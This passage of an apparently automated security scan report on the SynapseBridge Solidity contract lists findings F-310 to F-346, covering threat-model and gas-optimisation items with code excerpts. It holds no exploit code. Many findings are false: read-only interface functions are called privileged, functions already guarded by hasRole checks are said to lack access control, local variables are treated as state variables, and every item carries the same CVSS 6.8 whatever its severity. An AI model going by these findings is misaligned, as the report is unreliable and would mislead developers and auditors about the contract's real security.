1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-310. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1872
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
1870 |     function getA() external view returns (uint256);
1871 |
>> 1872 |     function getAPrecise() external view returns (uint256);
1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-311. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1874
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1869 | // pool data view functions
1870 | function getA() external view returns (uint256);
1871 |
1872 | function getAPrecise() external view returns (uint256);
1873 |
>> 1874 | function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 | function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 | function getTokenBalance(uint8 index) external view returns (uint256);
1879 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-312. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1876
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1871 |
1872 |     function getAPrecise() external view returns (uint256);
1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
>> 1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
1880 |     function getVirtualPrice() external view returns (uint256);
1881 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-313. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1878
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
>> 1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
1880 |     function getVirtualPrice() external view returns (uint256);
1881 |
1882 |     function swapStorage()
1883 |         external

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-314. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1880
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
>> 1880 |     function getVirtualPrice() external view returns (uint256);
1881 |
1882 |     function swapStorage()
1883 |         external
1884 |         view
1885 |         returns (

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-315. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1902
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1897 |         uint8 tokenIndexFrom,
1898 |         uint8 tokenIndexTo,
1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
>> 1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |     external

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-316. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1904
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
>> 1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |         external
1908 |         view
1909 |         returns (uint256 availableTokenAmount);

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-317. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1982
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1977 |
1978 |     mapping(bytes32 => bool) private kappaMap;
1979 |
1980 |     receive() external payable {}
1981 |
>> 1982 |     function initialize() external initializer {
1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-318. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1988
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |
>> 1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
1993 |     function setWethAddress(address payable _wethAddress) external {

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-319. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1993
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-320. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1998
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
>> 1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-321. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2066
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

2061 |
2062 |     // v2 events
2063 |     event TokenRedeemV2(bytes32 indexed to, uint256 chainId, IERC20 token,
uint256 amount);
2064 |
2065 |     // VIEW FUNCTIONS ***/
>> 2066 |     function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |         return fees[tokenAddress];
2068 |     }
2069 |
2070 |     function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |         return kappaMap[kappa];

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-322. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2070
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

2065 | // VIEW FUNCTIONS ***/
2066 | function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |     return fees[tokenAddress];
2068 | }
2069 |
>> 2070 | function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |     return kappaMap[kappa];
2072 | }
2073 |
2074 | // FEE FUNCTIONS ***/
2075 | /**

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-323. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2080
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

2075 | /**
2076 |  * * @notice withdraw specified ERC20 token fees to a given address
2077 |  * * @param token ERC20 token in which fees accumulated to transfer
2078 |  * * @param to Address to send the fees to
2079 |  */
>> 2080 | function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |     require(to != address(0), "Address is 0x000");
2083 |     if (fees[address(token)] != 0) {
2084 |         token.safeTransfer(to, fees[address(token)]);
2085 |         fees[address(token)] = 0;

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-324. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2090
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

2085 |         fees[address(token)] = 0;
2086 |     }
2087 | }
2088 |
2089 | // PAUSABLE FUNCTIONS ***/
>> 2090 | function pause() external {
2091 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |     _pause();
2093 | }
2094 |
2095 | function unpause() external {

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-325. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2095
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

2090 |     function pause() external {
2091 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |         _pause();
2093 |     }
2094 |
>> 2095 |     function unpause() external {
2096 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2097 |         _unpause();
2098 |     }
2099 |
2100 |     /**

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-326. threat_model

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2000
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Denial of Service Threat: Unbounded loop over dynamic array Impact: Gas limit can prevent function execution

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Gas limit can prevent function execution

Recommendation

Add array size limits or use pull pattern

References

- OWASP Smart Contract Top 10

F-327. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:168
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Elevation of Privilege Threat: Delegatecall to potentially malicious contract Impact: Caller can execute code in context of this contract

Vulnerable Code

```

163 |     */
164 |     function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |         require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |         // solhint-disable-next-line avoid-low-level-calls
>> 168 |         (bool success, bytes memory returndata) = target.delegatecall(data);
169 |         return _verifyCallResult(success, returndata, errorMessage);
170 |     }
171 |
172 |     function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns (bytes memory) {
173 |         if (success) {

```

Impact Analysis

Caller can execute code in context of this contract

Recommendation

Validate delegatecall target or use library pattern

References

- OWASP Smart Contract Top 10

F-328. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:32
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: State variable could be immutable or constant

Vulnerable Code

```
27 |     function isContract(address account) internal view returns (bool) {
28 |         // This method relies on extcodesize, which returns 0 for contracts in
29 |         // construction, since the code is only stored at the end of the
30 |         // constructor execution.
31 |
>> 32 |         uint256 size;
33 |         // solhint-disable-next-line no-inline-assembly
34 |         assembly { size := extcodesize(account) }
35 |         return size > 0;
36 |     }
37 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add 'immutable' or 'constant' if value doesn't change

References

- OWASP Smart Contract Top 10

F-329. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:220
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: State variable could be immutable or constant

Vulnerable Code

```
215 |     function isContract(address account) internal view returns (bool) {
216 |         // This method relies on extcodesize, which returns 0 for contracts in
217 |         // construction, since the code is only stored at the end of the
218 |         // constructor execution.
219 |
>> 220 |         uint256 size;
221 |         // solhint-disable-next-line no-inline-assembly
222 |         assembly { size := extcodesize(account) }
223 |         return size > 0;
224 |     }
225 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add 'immutable' or 'constant' if value doesn't change

References

- OWASP Smart Contract Top 10

F-330. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1658
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: State variable could be immutable or constant

Vulnerable Code

```
1653 | using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
1654 | using AddressUpgradeable for address;
1655 |
1656 | struct RoleData {
1657 |     EnumerableSetUpgradeable.AddressSet members;
>> 1658 |     bytes32 adminRole;
1659 | }
1660 |
1661 | mapping (bytes32 => RoleData) private _roles;
1662 |
1663 | bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add 'immutable' or 'constant' if value doesn't change

References

- OWASP Smart Contract Top 10

F-331. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1201
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1196 |     }
1197 |
1198 |     /**
1199 |      * @dev Returns the name of the token.
1200 |      */
>> 1201 |     function name() public view virtual returns (string memory) {
1202 |         return _name;
1203 |     }
1204 |
1205 |     /**
1206 |      * @dev Returns the symbol of the token, usually a shorter version of the
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-332. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1209
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1204 |  
1205 | /**  
1206 |  * @dev Returns the symbol of the token, usually a shorter version of the  
1207 |  * name.  
1208 |  */  
>> 1209 | function symbol() public view virtual returns (string memory) {  
1210 |     return _symbol;  
1211 | }  
1212 |  
1213 | /**  
1214 |  * @dev Returns the number of decimals used to get its user  
representation.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-333. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1226
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1221 | *
1222 | * NOTE: This information is only used for _display_ purposes: it in
1223 | * no way affects any of the arithmetic of the contract, including
1224 | * {IERC20-balanceOf} and {IERC20-transfer}.
1225 | */
>> 1226 | function decimals() public view virtual returns (uint8) {
1227 |     return _decimals;
1228 | }
1229 |
1230 | /**
1231 | * @dev See {IERC20-totalSupply}.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-334. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1233
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1228 |     }
1229 |
1230 |     /**
1231 |      * @dev See {IERC20-totalSupply}.
1232 |      */
>> 1233 |     function totalSupply() public view virtual override returns (uint256) {
1234 |         return _totalSupply;
1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-335. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1240
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.
1239 |      */
>> 1240 |     function balanceOf(address account) public view virtual override returns
(uint256) {
1241 |         return _balances[account];
1242 |     }
1243 |
1244 |     /**
1245 |      * @dev See {IERC20-transfer}.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-336. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1252
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-337. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1260
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1255 |     }
1256 |
1257 |     /**
1258 |      * @dev See {IERC20-allowance}.
1259 |      */
>> 1260 |     function allowance(address owner, address spender) public view virtual
override returns (uint256) {
1261 |         return _allowances[owner][spender];
1262 |     }
1263 |
1264 |     /**
1265 |      * @dev See {IERC20-approve}.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-338. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1271
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1266 |      *
1267 |      * Requirements:
1268 |      *
1269 |      * - `spender` cannot be the zero address.
1270 |      */
>> 1271 | function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |     _approve(_msgSender(), spender, amount);
1273 |     return true;
1274 | }
1275 |
1276 | /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-339. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1289
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-340. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1307
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1302 |      *
1303 |      * Requirements:
1304 |      *
1305 |      * - `spender` cannot be the zero address.
1306 |      */
>> 1307 |      function increaseAllowance(address spender, uint256 addedValue) public
virtual returns (bool) {
1308 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].add(addedValue));
1309 |          return true;
1310 |      }
1311 |
1312 |      /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-341. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1326
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1321 |      *
1322 |      * - `spender` cannot be the zero address.
1323 |      * - `spender` must have allowance for the caller of at least
1324 |      * `subtractedValue`.
1325 |      */
>> 1326 |      function decreaseAllowance(address spender, uint256 subtractedValue)
public virtual returns (bool) {
1327 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
1328 |          return true;
1329 |      }
1330 |
1331 |      /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-342. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1484
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
1483 |      */
>> 1484 |     function paused() public view virtual returns (bool) {
1485 |         return _paused;
1486 |     }
1487 |
1488 |     /**
1489 |      * @dev Modifier to make a function callable only when the contract is not
paused.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-343. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1626
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1621 | *
1622 | * Roles can be used to represent a set of permissions. To restrict access to
a
1623 | * function call, use {hasRole}:
1624 | *
1625 | * ```
>> 1626 | * function foo() public {
1627 | *     require(hasRole(MY_ROLE, msg.sender));
1628 | *     ...
1629 | * }
1630 | * ```
1631 | *
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-344. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1695
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1690 |     event RoleRevoked(bytes32 indexed role, address indexed account, address
indexed sender);
1691 |
1692 |     /**
1693 |      * @dev Returns `true` if `account` has been granted `role`.
1694 |      */
>> 1695 |     function hasRole(bytes32 role, address account) public view returns (bool)
{
1696 |         return _roles[role].members.contains(account);
1697 |     }
1698 |
1699 |     /**
1700 |      * @dev Returns the number of accounts that have `role`. Can be used
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-345. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1703
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1698 |  
1699 | /**  
1700 |  * @dev Returns the number of accounts that have `role`. Can be used  
1701 |  * together with {getRoleMember} to enumerate all bearers of a role.  
1702 |  */  
>> 1703 | function getRoleMemberCount(bytes32 role) public view returns (uint256) {  
1704 |     return _roles[role].members.length();  
1705 | }  
1706 |  
1707 | /**  
1708 |  * @dev Returns one of the accounts that have `role`. `index` must be a
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-346. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1719
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
